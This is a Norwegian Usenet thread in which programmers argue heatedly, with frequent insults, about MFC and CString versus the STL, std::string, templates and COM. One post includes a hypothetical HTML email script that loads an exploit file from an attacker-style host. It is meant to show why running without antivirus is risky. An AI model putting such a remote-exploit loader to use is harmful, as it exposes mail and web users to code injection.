>>> Nå kødder du vel, kjære vene si at du kødder nå da, vær så snill...
>>
>> Nei, CString fungerer utmerket.
>
> Jeg brukte faktisk da jeg begynte med C++ en egenutviklet string
> klasse, dette var delvis årsaket av at den første boken jeg leste om
> C++ som heter "Teach Yourself C++ in 21 days" var rimelig crappy og
> ikke beskrev STL i det hele tatt.
> Etter ca. et år gikk jeg over til å benytte meg en god del av CString,
> men da jeg skulle begynne å progge i COM og ATL så kunne jeg på
> daværende tidspunk (MSVS6.0) ikke lengere bruke CString, så da fant
> jeg indirekte etter mye krull med min gamle String klasse ut at std::
> hadde en klasse som het string, det var da jeg begynte å bli litt mere
> kritisk til hvilke C++ litteratur jeg gadd å bruke tiden min på...
Igjen, dette er et utsagn om *deg* og dine ferdigheter...
Jeg har programmert massevis av ATL, og jeg bruker CString hele tiden. Det
funker ypperlig...
> std::string er der, den er porterbar, den er bra, stabil, skalerbar,
> har støtte for multi threading (fom. MSVS7.0)
Det er jeg enig i. Skjønt den har et par alvorlige mangler.
> og ikke minst den er
> debugget av en milliard C++ kodere i over 5 år...
Ja, akkurat. Nettopp. Kan du telle ?
> Du bør være klar over at det er ganske FÅ deler av microsoft sine egne
> produkter som er prgrammert i MFC, der finnes noen små deler av Office
Hva så ? Office ble påbegynt lenge før MFC var påtenkt...
> Pakken som er programmert i MFC men det er faktisk mindre enn du tror.
Hva får deg til å tro at du vet noe som helst om hva jeg tror ?
> Grunnen er enkel, Micro$oft synes stort sett at MFC stinker...
Hva vet du om hva Microsoft mener ?
> Greit nok, koden din var sikkert bedre enn greia mi, men fortsatt vil
> jeg vite hva som er raskere med en "#define" i forhold til en "char
> const * const"...
Spørsmålet bør vel heller være hvorfor to linjer er vanvittig mye kjappere
enn ørten, samt hvorfor de er så vanvittig mye lettere å lese.
Tygg litt på det, du, mens du prøver å dekode const-maniaen din...
>>> Hva skjer hvis du må utvide sql'en DIN utover 333 karakterer?!?
>>> Er du sikker på at du husket å utvide bufferen din tilsvarende?!?
>>
>> Selvfølgelig ville jeg husket det. Skjønt i praksis ville jeg nok brukt
>> en CString til dette. Koden ville blitt like enkel, og overheaden
>> akseptabel.
>
> Greit nok,men husk på at du startet med å argumentere for hastighet
> når vi begynte på STL, jeg ser ikke hva som er kjappere med CString i
> forhold til std::string...
SQL-eksempelet er et godt utgangspunkt. Hvis du er enig i at
sprintf()-løsningen er både kjappere og mer lettlest enn streams-rotet ditt
så er du uten å ha vett til å forstå det også enig i at det samme gjelder
for en løsning basert på CString...
>>> MFC bruker typisk 15 sekunder på å starte på min Pentium 4 2.0 GHz med
>>> 1/5 gigabyte RAMBUS minne...
>>
>> MFC bruker 15 sekunder på å starte ? For noe sludder. Feilen ligger
>> nok i gjett hvem sin kode...
>
> Her er det snakk om en Hello World applikasjon hvor jeg nettop er
> ferdig med wizarden og trykker "Shift+Ctrl+B" for så a trykke på "Ctrl
> + F5"...
Igjen en glimrende illustrasjon på din skrikende mangel på kunnskap om det
du driver med...
>>> Lurer på hvordan det ville blitt hvis en skulle starte MFC (CString
>>> ble nevnt her lengere oppe) på en Palm Pilot med 2 MB flash minne...
>>> ;)
>>
>> Jeg portet som sagt store deler av MFC til QNX. Vi brukte en enhet som
>> hadde 486-prosessor, 8 MB RAM og 4 MB flash. Der hadde vi plass til
>> email-klient, browser, smarthusløsning og videotelefon for å nevne noe.
>> Hovedårsaken til at vi hadde plass til så mye var det klassebiblioteket
>> jeg lagde, og det inkluderte portede MFC-klasser. Blant annet
>> template-baserte collections, CString og selvfølgelig et hav av andre
>> nyttige tillegg.
>
> Imponerende! (seriøst, ikke ironi)
Jøss...
> Men jeg tviler for at "Store deler av MFC" kan tas veldig bokstavelig
> her...
Det kan du, om du forstår hva det dreier seg om.
> Det kvalmeste med MFC er måten de behandler messager på, se på de
> teite macroene for å behandle messager i en klasse.
De "teite macroene" er en god løsning som implementerer avansert message
routing med akseptabel kostnad. Jeg har sett mange andre forsøk på det
samme, og de er alle alt for dyre i bruk...
> Jeg mekka i juleferien min for gøy en "Policy Based Design" inspirert
> wrapper rundt win32API som benytted events registering som filter for
> å behandle messager, i selve implementasjonen hadde jeg set og get
> funksjoner for å registrere hvilke events jeg ville behandle i
> applikasjonen og lot resten gå til OS'et, i biblioteket hadde jeg så
> en map som mapped opp messagene til den ønskede funksjonen fra
> applikasjonen, og IKKE virtuelle funksjoner som microsoft i sine
> tidlige statementer som reklame for MFC påstod var det eneste
> alternativet...
Hvis du tror at message-handlerne i en MFC-applikasjon er virtuelle er du
atter en gang på bærtur. Det er bare noen ytterst få som er gjort
virtuelle, og det å unngå bruk av virtuelle funksjoner er hovedårsaken til
at de bruker messagemaps som du kritiserte så sterkt et par avsnitt lenger
opp...
>>>>> 2. Han har en skikkelig cheesy viruskiller som scanner alt av
>>>>> instruksjoner og kjører i et "sandbox environment".
>>>>
>>>> Nei, han kjører uten antivirus.
>>> ...Ohhh....
>>
>> Det er ikke så risky - hans nett er totalt avsondret fra omverdenen og
>> rutinene for behandling av disketter etc er temmelig strenge.
>
> Vel...
> Se for deg denne mailen...
> <html>
> <script>
> myXml = CreateObject("MSXML");
>
> myXml.Load("http://www.hackz2006.br.zl/ExploitBufferOverrunInMSXML.xml")
> <script>
> <html>
> ...hmm...
Hvorfor skulle den mailen være risky for ham ? Har du problemer med
leseforståelsen ?
>>> Da finnes det per definisjon ikke noe fungerende C++ på den
>>> plattformen da STL er en del av C++ standarden!!
>>
>> Det hjelper pokker så lite den dagen du står der med en fungerende
>> kompilator og en STL som ikke fungerer. Og språket C++ fungerer
>> uavhengig av om du har et fungerende bibliotek eller ei...
>
> Joda det er sant, men hvis en da først skal "portere" noe, hvorfor
> ikke portere noe som da allerede er portert på alle de andre
> plattformene (les "STL")?!?
Da er vi tilbake til det spørsmålet jeg stilte deg tidligere : har du PRØVD
?
De aktuelle delene av MFC er enkle å porte. Det kan man ikke si om noen som
helst del av STL.
>>> Faktum er at en av de største bakdelene ved C++ i forhold til C er
>>> klasser og spesielt polymorfisme (les.VFP), constructors og
>>> destructors.
>>> Noe som du spesifikt har benevnt som en av argumentene for at du
>>> progger i C++ og ikke i C!
>>
>> Tull. Dette er store *fordeler* med C++. At det blir elefantkode ut av
>> det når amatørene skriver klasser har lite med saken å gjøre.
>
> Klasser som konsept i C++ er noe av det mest degraderende på ytelsen
> runtime i forhold til C...
Mere tullprat. Sett folk som vet hva de driver med på jobben...
Folk som *kan* C++ skrive programmer som er mer oversiktlige, generer mindre
og raskere kode, samt gir mer gjenbruk, færre bugs og greiere vedlikehold.
> Jeg bruker dog da selvfølgelig klasser selv, men jeg er litt forsiktig
> med "polymorfisme triggerhappiness" og "konstruktor/destructor beauty
> overusing" i CPU/minne krevende deler av mine applikasjoner...
Det hører ut som om du mener at klasser er en uting. Det sier jo litt...
>>> Templates er en av de få avanserte konseptene i C++ som GARANTERT ikke
>>> bringer inn noe runtime overhead (Standard TEMPLATE Library)
>>
>> Templates har en tendens til å øke kodestørrelsen, og det er en form for
>> runtime overhead.
>
> Der tar du FEIL!!!
Nei, det gjør jeg ikke. Templates har en tendens til å øke kodestørrelsen,
og det er en form for runtime overhead.
>> Men den er som regel akseptabel, jeg bruker endel templates.
>
> Da forstår jeg ikke hvorfor du ikke bruker eksisterende funksjonelle
> ferdig debuggede templates f.eks. std::vector og std::list...
Det er så mye du ikke forstår. Dessverre har jeg ikke tid til å hjelpe deg
med alt...
> templates brukt FEIL kan føre til code bloat
Jeg snakker ikke om code bloat...
> CString vil BESTANDIG linke inn ALLE member funksjonene
Tull. Skru på function level linking, du...
>> er identisk etter at den unødvendige fila er fjernet.
> Er ikke det litt morsomt med STL, du kan dra med så my grafs du vil,
> men kompilatoren vil bare kompilere de funksjonene som du faktisk
> bruker!!!
Det er ikke STL-spesifikt. Det viser bare hvor bra Microsofts kompilator og
linker er...
>>> Vel du kan IKKE benytte iterators på strenge klassen din
>>
>> Jeg ønsker ikke å bruke en iterator. Hvorfor skulle jeg det - det
>> holder i massevis med operator []...
>
> Det blir som å si at det holder lenge med "gode gamle char * i C"
> hvorfor skal jeg bruke en strenge klasse, eller hvorfor skal jeg gidde
> å bruke klasser i det hele tatt når jeg har klart meg lenge uten i
> C?!?
Nei, det blir det slettes ikke.
>>> (som forøvrig ikke er kjappere enn min)
>>
>> Who cares ? Begge fungerer, skjønt std::string har et par alvorlige
>> mangler...
>
> Nevn EN mangel!!!
> Prøv å nevne EN mangel i std::string!!!
En mangel : den har ikke en operator const char *().
> Jeg kan nevne EN MILLION mangler i MFC, e.g.
Who gives a shit ?
> std::string myString="qwertyuiopasdfghjklzxcvbnm";
> std::sort( myString.begin(), myString.end());
>
> Her har jeg sortert bokstavene i en std::string ved hjelp av EN
> linje...
> Hvor mange linjer med kode trenger du for å sortere bokstavene i en
> CString?!?
Who gives a shit ? Jeg har holdt på med utvikling i snart 20 år, og jeg har
enda tilgode å ha behov for å sortere bokstavene i en streng. Hva bruker
*du* det til ?
>>> du kan ikke benytte andre ting enn char *
>>> som implementasjon av stringe klassen din
>>
>> Det er feil. Det er TCHAR som brukes...
>
> Joda men prøv å bruk BEGGE i samme kompilerings enhet...
Hvorfor ?
> Skal du da REDEFINE TCHAR (som er en makro) for så å sette den tilbake
> igjen?!?
Hvorfor ?
> Det er ihvertfall livsfarlig...
Who gives a shit ?
>>> (jeg kan ha en streng av
>>> vectorer hvis jeg vil)
>>
>> Hva i all verden skal man med slikt tull ?
>
> Kanskje ikke det beste eksempelet, men en har muligheten hvis en
> vil...
Who gives a shit ?
>>> du kan ikke benytte custom allocaters på
>>> strenge klassen din (jeg kan til og med hvis jeg vil benytte en custom
>>> implementert Garbage Collector)
>>
>> So what ? Har aldri hatt bruk for slikt tull...
>
> Garbage Collector var kanskje ikke noe godt eksempel, men jeg har
> faktisk optimalisert std::string bruken betraktelig ved å f.eks. ha en
> pool av minne som allokeres i f.eks. størrelser på en og en Kilobyte
> også kan en dynamisk fordele dette minnet over mange mindre objekter
> for så å øke bufferen ved behov...
>
> Gjør DET i CString!!!
Hvorfor ?
>>> og du kan heller ikke kommunisere med
>>> andres biblioteker spesielt bra selv om du måtte øsnke da mange vil
>>> benytte std::string som standard strenge implementasjon...
>>
>> Det er riktig, men bare når man må forholde seg til kode utviklet av
>> folk med samme arroganse som du. Det eneste fornuftige er å bruke const
>> char * i disse
>
> Det kan godt hende at jeg er arrogant, men du er trangsynt...
Sludder&pølsevev...
>> grensesnittene fordi det ikke tvinger noen til å bruke noe som helst.
>> Men du og dine likesinnede driter i det og tvinger deres syn igjennom...
>
> Hva er det som er såfornuftig ved å bruke char *?!?
Det er fornuftig å bruke const char * fordi det er en del av *språket*, det
fungerer uten inkludering av filer og linking av biblioteker.
> Da dukker det oppe en mengde interressante spørsmål, e.g. hvem er
> ansvarlig for å deallokere char * din (altså. delete[] myChar) er det
> klieneten eller er det serveren/biblioteket?!?
> Hvordan skal en deallokere char *'eren din, delete[] eller free()?!?
> Når tid skal hvem deallokere char *'eren din?!?
Det er aldri behov for å deallokere en const char *. Har du problemer med
leseforståelsen ?
> Jeg har en liten mistanke til at du ikke bruker hverken andres sin
> kode eller skriver kode som andre skal bruke...
Igjen snakker du om hva som rører seg i din lille hjerne...
>>> I tillegg vil du måtte linke inn både din porterte CString klasse OG
>>> std::string klassen (istedenfor en string klasse) ved linkin mot
>>> eksterne biblioteker...
>>
>> Det er et tåpelig argument. Det samme vil jo gjelde deg hvis
>> biblioteksflyten snur og meningsarrogansen er den samme på begge sider...
>
> Joda, men for fire år siden var det nesten INGEN som programmerte mot
> std::xxx i dag er det nesten INGEN som IKKE programmerer opp i mot
> std::xxx...
Ja, det er tragisk. Men sånn er det...
> void CheckForIllegalCharacters( const char str )
> {
> if( str == 'æ' || str == 'ø' || str == 'å' || str == 'Æ' ||
> str == 'Ø' || str == 'Å' )
> throw std::exception("String did contain illegal
> characters...");
> }
La meg gjette... Det er du som har programmert nettbanken til Nordea ? De
hevder til stadighet at jeg bor i L@renskog eller hva det nå var...
>> CString og MFC er produktivitetsøkende og fungerer utmerket. Det er jo
>> mildt sagt litt pussig at du og andre som ikke bruker dette vet så mye
>> om det, mens jeg som bruker det hele tiden åpenbart ikke vet noe som
>> helst...
>
> Jeg har programmert ganske mye i MFC og jeg har benyttet CString
> ganske mye også, men jeg vokste rett og slett i fra det...
> MFC er leketøy for barn...
KJØTTHUE!
>> Skjønt jeg begynner å ane et mønster - du har stort sett ikke egne
>> meninger, du bare repeterer det du har hørt andre lire av seg...
>
> Jeg har faktisk selv ekstremt dårlig erfaring med MFC og for den sags
> skyld også CString.
Det sier betydelig mere om deg enn det sier om MFC. MFC fungerer
utmerket...
> Det prosjektet jeg nevnte tidligere hvor jeg reduserte antall linjer
> med kildekode fra 250 000 linjer til 9800 linjer med kode var MFC og
> CString benyttet hyppig.
Da var det vel utviklet av noen som mot alle odds forsto enda mindre av MFC
og C++ enn det du gjør...
> Som om ikke det var nok var også et veldig kjent rapporteringverktøy
> benyttet for å senke antall linjer med kode og et veldig kjent GUI
> bibliotek som legger seg påtoppen av MFC og skal simplifisere en del
> ting i MFC benyttet.
Her ligger sikkert minst 75% av de 250.000 linjene...
> Da jeg var ferdig med refaktoreringen var prosjektets GUI og
> forretningslogikk i C#, importmodulene implementert som COM objekter i
> C++, hele rapporteringsmodulen og eksporteringsmodulen i XML/XSLT, og
> mesteparten av den litt tyngre logikken implementert som avanserte
> SQL'er mot en valgfri database vendor...
> Funny thing er at etterpå tiltross for en ekstrem lagdeling og
> benyttelse av "Managed Code" så kjører hele greia hundre ganger
> raskere, også på "gamle" pc'er så lenge de har nok minne til å driver
> .NET Framework dog...
Den eneste ulempen er vel da at det bare er du som er i stand til å forstå
systemet ?
> Som om ikke det var nok var den gamle greia utelukkende en
> konvensjonell desktop applikasjon, mens den refaktorerte greia kan
> kjøre som enten en desktop app eller som en web app bare ved å plugge
> et par hundre linjer med GUI ut/inn...
Det høres ut som om du bruker COM. Det er litt rart at du føler at du kan
ta æren for det COM muliggjør...
Sigurd
Thore B. Karlsen
<sig...@utvikling.com> wrote:
[...]
>> Grunnen er enkel, Micro$oft synes stort sett at MFC stinker...
>Hva vet du om hva Microsoft mener ?
Vel, jeg har vært på Microsofts campus i Redmond og snakket med en del
av utviklerne der, og hadde en middag med en av program managerne. Han
bekreftet det Thomas sier om at MFC ikke er mye brukt internt i MS, og
han var ihvertfall enig i at det stinker. De andre jeg snakket med var
heller ikke klar over noen særlig bruk av MFC. (Jeg måtte selvfølgelig
spørre. :)
>> std::string myString="qwertyuiopasdfghjklzxcvbnm";
>> std::sort( myString.begin(), myString.end());
>>
>> Her har jeg sortert bokstavene i en std::string ved hjelp av EN
>> linje...
>> Hvor mange linjer med kode trenger du for å sortere bokstavene i en
>> CString?!?
>Who gives a shit ? Jeg har holdt på med utvikling i snart 20 år, og jeg har
>enda tilgode å ha behov for å sortere bokstavene i en streng. Hva bruker
>*du* det til ?
Jeg har brukt det til addagrams:
http://www.itasoftware.com/careers/programmers-archive.php
:)
(Men det var en suboptimal løsning, jeg gjorde det bedre enn det
etterpå.)
--
Be seeing you.
Thomas Hansen
"Sigurd Stenersen" <sig...@utvikling.com> containing:
[snip]
Dette er noe av den begredeligste besvarelsen jeg noensinne har sett,
det bærer preg av et ønske om å kun dytte mere bensin på bålet.
Det er glimrende i sitt fravær på god motargumentasjon og består stort
sett utelukkende av svada og nonchalans med noen få unntak. (f.eks.
det motargumentet om at Office ble påbegynt lenge før MFC er forsåvidt
et godt argument)
Utover dette er det bare en begredelig manns begredelige motargument
på et innlegg han egentlig ikke har forutsettniger for å kunne
motargumentere imot...
Ikke bare er du noe av det mest arrogante og selvopphøyelige
drittsekkeriet som noensinne har gått i to sko på denne planeten, men
du er også relativt inkompetent på et fagområde hvor du har gitt
uttrykk for å være ekspert siden "1889".
Eksempel sitat fra deg:
"[komplett uforståelig respons klippet bort]"
Her klippet du bort all koden min hvor jeg prøvde å komme med en
"reell problemstilling" slik som du bad om istedenfor og bare komme
med noe du kalte "programmere-for-å-programmere-oppgave..."
Jeg anser denne diskusjonen for å være avsluttet til du kommer med et
GODT motargument for hvorfor iterators i en string klasse ikke er
bra...
BTW!
std::string har en funksjon som heter c_str() som returnerer en const
char *.
Og MSXML som er "standard" installert i "alle" windows installasjoner
har historiskt sett hatt ca. 50 "buffer overrun bugs" som kan utnyttes
av javascript funksjoner embedded i HTML til å "injecte" kode direkte
inn i minnet, HTML er ofte basisen som en email bygges på...
Og støtte for RTTI må faktisk spesifikt LINKES inn...
...list goes on, men jeg gidder ikke argumentere lengere da jeg ser
det som en umulig oppgave å få deg til å forstå...
Sigurd Stenersen
> On Wed, 23 Apr 2003 01:35:16 +0200, "Sigurd Stenersen"
> <sig...@utvikling.com> wrote:
>
>>> Grunnen er enkel, Micro$oft synes stort sett at MFC stinker...
>
>> Hva vet du om hva Microsoft mener ?
>
> Vel, jeg har vært på Microsofts campus i Redmond og snakket med en del
> av utviklerne der, og hadde en middag med en av program managerne. Han
> bekreftet det Thomas sier om at MFC ikke er mye brukt internt i MS, og
> han var ihvertfall enig i at det stinker. De andre jeg snakket med var
> heller ikke klar over noen særlig bruk av MFC. (Jeg måtte selvfølgelig
> spørre. :)
Microsoft har ingen offisiell mening om at MFC stinker, som det ble hevdet
lenger opp her...
Hva enkelte ansatte mener er helt uinteressant. Det sier seg selv at med
det antallet utviklere Microsoft har ansatt så må det være mange dårlige
der. At mange av disse er rekruttert fra STL-elskende miljøer er vel hevet
over enhver tvil.
Sigurd
Markus B. Krüger
> Thomas Hansen wrote:
> > [prøver på nytt fra google]
> > On Fri, 11 Apr 2003 17:47:39 +0200, there came a drop of sanity from
> > "Sigurd Stenersen" <sig...@utvikling.com> containing:
> >
> >> Tull. Språket C++ er innebygd i kompilatoren. Bibliotekene er
> >> beskrevet i standarden for bibliotek, og tas i bruk ved at man
> >> inkluderer filer og linker
> >
> > alle "filer" som man linker mot som beskrives ved hjelp av angle
> > brackets '<>' og ikke ved hjelp av gåseøyne '"' ligger ikke
> > nødvendigvis i "filer", de kan ligge i minne, de kan være
> > prekompilert etc... det er derfor standarden skiller på å
> > inkludere filer ved hjelp av "<>" og ' " " '...
>
> Tull. <> betyr at ting ligger i include paths, "" betyr at ting
> ligger i current directory eller include paths.
Kanskje det betyr dét i en bestemt kompilator, men det er på ingen
måte påkrevd. Fra Stroustrups "The C++ Programming Language",
3. utgave, kap. 9.2.2:
The absence of a .h suffix does not imply anything about how a
header is stored. A header such as <map> may be stored as a text
file called map.h in a standard directory. On the other hand,
standard headers are not required to be stored in a conventional
manner. An implementation is allowed to take advantage of knowledge
of the standard library definition to optimize the standard library
implementation and the way standard headers are handled. For
example, an implementation might have knowledge of the standard math
library (§22.3) built in and treat #include <cmath> as a switch that
makes math functions available without reading any file.
--
,------------------- Markus Bjartveit Krüger ---------------------.
' `
` E-mail: mar...@pvv.org WWW: http://www.pvv.org/~markusk/ '
)-------------------------------------------------------------------(
Sigurd Stenersen
> On Wed, 23 Apr 2003 01:35:16 +0200, there came a drop of sanity from
> "Sigurd Stenersen" <sig...@utvikling.com> containing:
>
> "[komplett uforståelig respons klippet bort]"
> Her klippet du bort all koden min hvor jeg prøvde å komme med en
> "reell problemstilling" slik som du bad om istedenfor og bare komme
> med noe du kalte "programmere-for-å-programmere-oppgave..."
Det er mulig at jeg var for snar med å klippe bort den koden. Den er
forståelig så snart man får kvittet seg med kvalmeanfallet som inntreffer
øyeblikkelig på grunn av den totale mangelen på innrykk i koden...
> Jeg anser denne diskusjonen for å være avsluttet til du kommer med et
> GODT motargument for hvorfor iterators i en string klasse ikke er
> bra...
Jeg *har ikke bruk for* iterators i streng-klassen. Det kan da umulig
finnes et bedre argument enn det...
Forøvrig er vel diskusjonen avsluttet siden du er for feig til å ta stilling
til det som faktisk står i mitt forrige innlegg
> BTW!
> std::string har en funksjon som heter c_str() som returnerer en const
> char *.
Det har den. Svakheten er som nevnt at den ikke har en operator const char
*().
> Og MSXML som er "standard" installert i "alle" windows installasjoner
> har historiskt sett hatt ca. 50 "buffer overrun bugs" som kan utnyttes
> av javascript funksjoner embedded i HTML til å "injecte" kode direkte
> inn i minnet, HTML er ofte basisen som en email bygges på...
Og hvordan skulle så denne emailen komme inn i systemet ? Det aktuelle
nettet er som sagt uten kontakt med omverdenen, i det ligger selvfølgelig at
de ikke har tilgang til email.
> men jeg gidder ikke argumentere lengere da jeg ser
> det som en umulig oppgave å få deg til å forstå...
Det er ikke forståelsen som er problemet.
Problemet er at du ikke takler at noen som forstår hva du sier er uenig med
deg.
Sigurd
Sigurd Stenersen
> "Sigurd Stenersen" <sig...@utvikling.com> writes:
>
>> Thomas Hansen wrote:
>>> [prøver på nytt fra google]
>>> On Fri, 11 Apr 2003 17:47:39 +0200, there came a drop of sanity from
>>> "Sigurd Stenersen" <sig...@utvikling.com> containing:
>>>
>>>> Tull. Språket C++ er innebygd i kompilatoren. Bibliotekene er
>>>> beskrevet i standarden for bibliotek, og tas i bruk ved at man
>>>> inkluderer filer og linker
>>>
>>> alle "filer" som man linker mot som beskrives ved hjelp av angle
>>> brackets '<>' og ikke ved hjelp av gåseøyne '"' ligger ikke
>>> nødvendigvis i "filer", de kan ligge i minne, de kan være
>>> prekompilert etc... det er derfor standarden skiller på å
>>> inkludere filer ved hjelp av "<>" og ' " " '...
>>
>> Tull. <> betyr at ting ligger i include paths, "" betyr at ting
>> ligger i current directory eller include paths.
>
> Kanskje det betyr dét i en bestemt kompilator, men det er på ingen
> måte påkrevd.
Greit nok det men i denne sammenhengen er det uinteressant hvor "filene"
hentes fra.
Poenget er at språket er definert av hva du kan få til uten å bruke
#include.
Sigurd
Thomas Hansen
"Sigurd Stenersen" <sig...@utvikling.com> containing:
[snip]
>> Jeg anser denne diskusjonen for å være avsluttet til du kommer med et
>> GODT motargument for hvorfor iterators i en string klasse ikke er
>> bra...
>
>Jeg *har ikke bruk for* iterators i streng-klassen. Det kan da umulig
>finnes et bedre argument enn det...
DET er et godt argument, men jeg mistenker at det er fundamentert på
manglende innsikt i iterators sine geniale anvendelsesområder som jeg
hadde et strålende eksempel på i koden som du snippet bort...
>
>Forøvrig er vel diskusjonen avsluttet siden du er for feig til å ta stilling
>til det som faktisk står i mitt forrige innlegg
Beklager det var du som ikke i veldig stor grad tok stilling til hva
jeg hadde skrevet, og da så ikke jeg det som en nødvendighet at jeg i
veldig stor grad skulle ta stilling til hva du skrev...
>
>
>> BTW!
>> std::string har en funksjon som heter c_str() som returnerer en const
>> char *.
>
>Det har den. Svakheten er som nevnt at den ikke har en operator const char
>*().
Det er en av de absolutt STØRSTE styrkene til std::string, det gjør
antall misforståelser mindre, et godt eksempel kan vises ved å se på
alle misforståelsene som kommer som en konsekvens av bruk av _bstr_t i
forbindelse med COM.
Konseptet som std::string benytter heter "Explicit Conversion" som er
en BRA ting da du vet hva du får fordi du ikke får noen andre ting enn
det du spesifikt bestilte i motsetning til "Implicit Conversion" hvor
en legger inn en udefinert bestilling og kanskje får det en ønsker
tilbake...
et godt eksempel på bruk av "eksplisivitet" kan en se på std::vector
klassen da den har en CTOR som tar en int, denne er implementert
"explicit" og legger opp "bufferen" med x antall objekter hvor
x==inneholdet i int'en som CTOR'en tar, hvis denne ikke var "explicit"
ville en kunne skrive "std::vector<int> myVec = 100;" og få en vector
initialisert med 100 int'er, dette er ikke spesielt logisk derfor er
den "explicit" og en må skrive "std::vector<int> myVec(100);"
istedenfor.
Slike "explisitte" konstruksjoner er nærmest totalt IKKE eksisterende
i MFC, dette er faktisk et av de største argumentene for IKKE å
benytte "ikke GUI" klassene i MFC...
Jeg måtte skrive om 1000 linjer med kode i forbindelse med portering
av et COM objekt fra MSVS6.0 til MSVS7.0 da de hadde forandret _bstr_t
klassen og forandret på "litt diverse"...
Grunnen var at jeg hadde benyttet meg av den "Implisitte
Konverteringen" fra _bstr_t til BSTR *
Det ble brakt opp til en av de heftigste debattene de hadde under
konstrueringen av C++ standarden i standard kommiteen hvorvidt det
skulle defineres en "Implic Conversion" fra std::string til const char
*, men etter en meget lang debatt kom de frem til at det beste var en
"Eksplisiv Konvertering" ved hjelp av en funksjon, denne funksjonen
heter c_str().
Bjarne Stroustrup selv var en av de viktigste primus motorene bak den
løsningen de landet på...
Jeg tror du finner en forklaring til hvorfor det er slik det er på
FAQ'en hanses om C++ på hjemmesiden hans...
>
>
>> Og MSXML som er "standard" installert i "alle" windows installasjoner
>> har historiskt sett hatt ca. 50 "buffer overrun bugs" som kan utnyttes
>> av javascript funksjoner embedded i HTML til å "injecte" kode direkte
>> inn i minnet, HTML er ofte basisen som en email bygges på...
>
>Og hvordan skulle så denne emailen komme inn i systemet ? Det aktuelle
>nettet er som sagt uten kontakt med omverdenen, i det ligger selvfølgelig at
>de ikke har tilgang til email.
...ahh, de har ikke internett (beklager...)?!?
Greit jeg gir meg...
>
>
>> men jeg gidder ikke argumentere lengere da jeg ser
>> det som en umulig oppgave å få deg til å forstå...
>
>Det er ikke forståelsen som er problemet.
>
>Problemet er at du ikke takler at noen som forstår hva du sier er uenig med
>deg.
Det er nok et problem de fleste kodere har, jeg også innimellom, vi er
tross alt idealister og bruker opp brorparten av livet vårt på å
konstruere niftige løsninger og utvikler et etterhvert religiøst
forhold til vår egen begavelse og våre egne muligheter til å løse
problemer som "normale" mennesker ikke har forutsettning for å komme i
nærheten av en forståelse for...
Men når det gjelder MFC kontra STL tror jeg nok at du burde åpne
øynene dine litt og titte litt rundt deg for å prøve å forstå hva som
skjer ellers i verden og hva som er mulig å gjøre med STL før du ender
opp hjemme foran MSVS6.0'en din med service pack "1.678 E 37"
installert og sutrer over STL som et gammelt kassert radioapparat ute
av stand til å fungere på annet en 120 V...
STL er ikke bare kommet for å bli, det løser også mange av de
dagligdagse problemene til en koder og inneholder løsninger som gir en
inspirasjon til å tenke nytt i sine egne problemløsningsfaser...
>
>
>Sigurd
Thore B. Karlsen
<sig...@utvikling.com> wrote:
>>>> Grunnen er enkel, Micro$oft synes stort sett at MFC stinker...
>>> Hva vet du om hva Microsoft mener ?
>> Vel, jeg har vært på Microsofts campus i Redmond og snakket med en del
>> av utviklerne der, og hadde en middag med en av program managerne. Han
>> bekreftet det Thomas sier om at MFC ikke er mye brukt internt i MS, og
>> han var ihvertfall enig i at det stinker. De andre jeg snakket med var
>> heller ikke klar over noen særlig bruk av MFC. (Jeg måtte selvfølgelig
>> spørre. :)
>Microsoft har ingen offisiell mening om at MFC stinker, som det ble hevdet
>lenger opp her...
Nei det er selvfølgelig noe helt annet, men at de ikke bruker MFC
internt sier jo litt..
--
Be seeing you.
Sigurd Stenersen
> On Wed, 23 Apr 2003 10:56:14 +0200, "Sigurd Stenersen"
> <sig...@utvikling.com> wrote:
>
>
> at de ikke bruker MFC internt sier jo litt..
Eksakt hva det sier kommer veldig an på hva man ønsker å lese av det.
At de ikke bruker MFC internt, f.eks. på Office og IE, har nok mest med
promotering av COM å gjøre. De har bygd disse applikasjonene så til de
grader komponentbasert at man nok er tvunget til å bruke ATL samt diverse
hemmelige "interne" biblioteker. Og MFC fungerer dårlig som selvstendig
rammeverk for COM-servere, ihvertfall så lenge man snakker om komponenter
uten GUI.
Min oppfatning er altså at dette er noe de har gjort for å promotere COM,
ikke for å disse MFC. Og alt tyder på at den strategien har vært vellykket,
sånn rent markedsmessig sett...
Sigurd
Sigurd Stenersen
> STL er ikke bare kommet for å bli, det løser også mange av de
> dagligdagse problemene til en koder og inneholder løsninger som gir en
> inspirasjon til å tenke nytt i sine egne problemløsningsfaser...
At STL er kommet for å bli og at det løser mange problemer er det ingen tvil
om.
Noen inspirasjonskilde kommer det dog aldri til å bli her i gården.
Forhåpentligvis får Microsoft forbedret dokumentasjonen før jeg blir tvunget
til å ta i bruk STL. Det er jo lov å håpe...
Sigurd
Thore B. Karlsen
<sig...@utvikling.com> wrote:
>>> Microsoft
>> at de ikke bruker MFC internt sier jo litt..
>Eksakt hva det sier kommer veldig an på hva man ønsker å lese av det.
>
>At de ikke bruker MFC internt, f.eks. på Office og IE, har nok mest med
>promotering av COM å gjøre. De har bygd disse applikasjonene så til de
>grader komponentbasert at man nok er tvunget til å bruke ATL samt diverse
>hemmelige "interne" biblioteker. Og MFC fungerer dårlig som selvstendig
>rammeverk for COM-servere, ihvertfall så lenge man snakker om komponenter
>uten GUI.
COM.. Agh.. Måtte du nå nevne det da. Der var dagen ødelagt. :(
Noe mer omstendelig enn COM/ActiveX tror jeg aldri jeg har vært borti.
--
Be seeing you.
Sturla Molden
wrote:
>COM.. Agh.. Måtte du nå nevne det da. Der var dagen ødelagt. :(
>
>Noe mer omstendelig enn COM/ActiveX tror jeg aldri jeg har vært borti.
På jobben har vi fått noe måleutstyr som styres ved hjelp av ole
og sender informasjon tilbake til en ocx ved hjelp at et com
interface. Og gjett hve som må dille med dette. Det har ødelagt en
måned for meg allerede.
Ikke rart Windows-programmer er fulle av bugs. Makan til søl har jeg
aldri sett.
Men derimot er det helt greit å lage en COM-server med VB (bortsett
fra at VB byr meg imot). Det jeg ikke helt forstår er hvorfor
COM-kode kan være så ryddig og pen i VB og så sølete i C og C++.
Hvis man kan skjule griseriet i VB kan man vel gjøre det med gode
biblioteker for C og C++ også?
Finnes det noen ryddige C eller C++ wrappere for COM/ActiveX?
Nå har jeg prøvd MFC og ATL, og den ene løsningen er mer sølete
enn den andre. Borland nekter å kompilere type-biblioteket som
jeg fikk tilsendt, den påstår at en metode har konflikt med en
virtuell metode i IUnkown. Duh...
Jeg gir snart opp. :-(((
Sturla Molden
Alf P. Steinbach
>On Wed, 23 Apr 2003 10:00:09 -0500, Thore B. Karlsen <s...@6581.com>
>wrote:
>
>
